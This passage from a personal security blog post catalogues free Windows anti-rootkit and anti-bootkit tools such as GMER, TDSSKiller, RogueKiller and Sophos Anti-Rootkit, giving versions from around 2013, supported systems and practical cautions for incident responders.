worth using as a backup scanner on XP systems but not likely useful under Win7/Win8. GMER - Rootkit Detector and Remover - This one has been kicking around for a very long time. Latest version is 2.1.19163 released 04-04-2013 and reports support for Windows NT/2000/XP/Vista/7/8 OS versions . The download page has some additional references including video files for tutorial usage. Kaspersky Lab TDSSKiller Rootkit Removal Utility - Supports a wide range of Windows OS systems, uses a GUI interface, and can be run in both normal and safe modes. Current version as of this post is 2.8.16.0. Also available in a portable version: Kaspersky TDSSKiller Portable Malwarebytes : Malwarebytes Anti-Rootkit BETA - current version 1.07.0.1008. Download, run the file to extract it where you wish and then it runs. Follow steps accordingly. The page linked has some more details you probably want to review first. Comes up often in forum referrals as one of the top-referred cleaning tools FWIW. McAfee RootkitRemover - version 0.8.9.170 released 10-25-2013 so it is still mostly fresh. Guide can be located at this McAfee link How to Use RootkitRemover. NoVirusThanks Anti-Rootkit: Low-level system analysis tool - version 1.2.0.0 released 01-15-2011. Norton Power Eraser - Free tool from Symantec. Usage guide here. I downloaded the binary today and the file details reports it is version 4.0.0.57. PowerTool Anti Virus&Rootkit Tool (x86/x64) - This is a new find to me. Offered in both x32 and x64 flavors. Appears to have had the most recent version release on 12-01-2013. Imgur has some great screenshots of version 4.2 here. The tool provides a significant number of system analysis points and data. Forum posts report earlier versions were buggy and lead to BSOD system crashes. You may want to try it out on a virtual Windows system first to check compatibility and stability before running on a production system. Rkdetector - Microsoft Rootkit Detector v2.0 2005 © - More of a system analysis tool than an actual “remover” product. Helpful for advanced responders. Superseded now by their SanityCheck tool. RogueKiller - Offered in both x32 and x64 bit apps, latest version at time of posting is v 8.7.14 released on 12-27-2013. In addition to malware/AV scan and removal it also handles some root-kits/boot-kits and MBR infections as well as some Cryptolocker pattern detections. Review the Official Tutorial for more information. Note that the page clearly states in the disclaimer that use of the tool does send feedback to the developers automatically. Be sure you read their full statement before deciding to use. That’s not necessarily a deal-breaker for me but it may be against your comfort level and/or security policies. RootKit Hook Analyzer - Another older (discontinued) analyzer product. I still have the original files myself but you cannot easily find and download them any longer. From Resplendence. RootkitRevealer - Windows Sysinternals - really depreciated now but I just needed to list it for old-time’s sake. Only supported under Windows XP and Server 2003. Was helpful in its day. Was one of my very first anti-rootkit detection tools. rootrepeal - version 1.3.5 and supports at least Windows XP though Vista. Hasn’t appeared to been updated since 2009. Was more useful for analysis of running processes and looking for hidden/hooked services rather than actual removal work…though you can try to use it to “clean” files manually that are found. SanityCheck, Advanced Rootkit and Malware Detector - Resplendence - version 3.00 supports Windows 8 and Server 2012 (and almost all older version of Windows as well). Scans for malware/rootkits and is extra-nice in that it provides a detailed report of findings for use in analysis and response efforts. See the feature list for more details and background. Also contains an optional “expert mode” that can be used to give super-detailed feedback. free home edition and for purchase for Pro edition. Sophos Anti-Rootkit Tool (SAR) - supported on Windows OS systems from 200 through Win 7. Doesn’t specifically says supports Windows 8 but might. Many more details including video and CLI help: Sophos Anti-Rootkit: Overview Stream Armor - Advanced Tool to Scan & Clean Malicious Alternate Data Streams (ADS) - offered by www.SecurityXploded.com. Portable tool (installation option available) supports OS systems from Windows XP to Win 8. as of post time, version is 2.5 released 03-22-2013. Trend Micro Rootkit Buster - Free tool offered in both X32 & x64 bit versions. Requires installation on the system. Appears to be last released 03-05-2013 as of the time of this post. Version is 5.00.1129. See these (x32)ReadMe and (x64)ReadMe txt files Trend Micro offers on the download page. I generally don’t rely on these tools during an incident response unless “something” indicates to me a deeper bootkit/rootkit scan is in order. Otherwise, I’m using my primary first-line response and detection tools as posted in the Anti-Malware Response “Go-Kit” post. Testing and evaluation of the tools you use is critical to validate they have worth. Just because I or others recommend a particular tool does not necessarily mean it will be effective or helpful in your particular environment or against every threat. And when dealing with these particular classes of threats, you might break your OS in the repair attempt. I did find this old (published September 2007) guide from Symantec that might be worth looking at still, A Testing Methodology for Rootkit Removal Effectiveness (PDF file link) from Josh Harriman. I’m sure I’ve left some additional tools out that other GSD users may have found valuable. If so and you have any additional recommendations to offer, please leave a note in the comments. Likewise for any more recent anti-rootkit/anti-bootkit testing & detection methodology documents or posts. Cheers, Claus Valca Sursa: grand stream dreams: “Advanced” Anti-Rootkit Tool List - Mostly Modern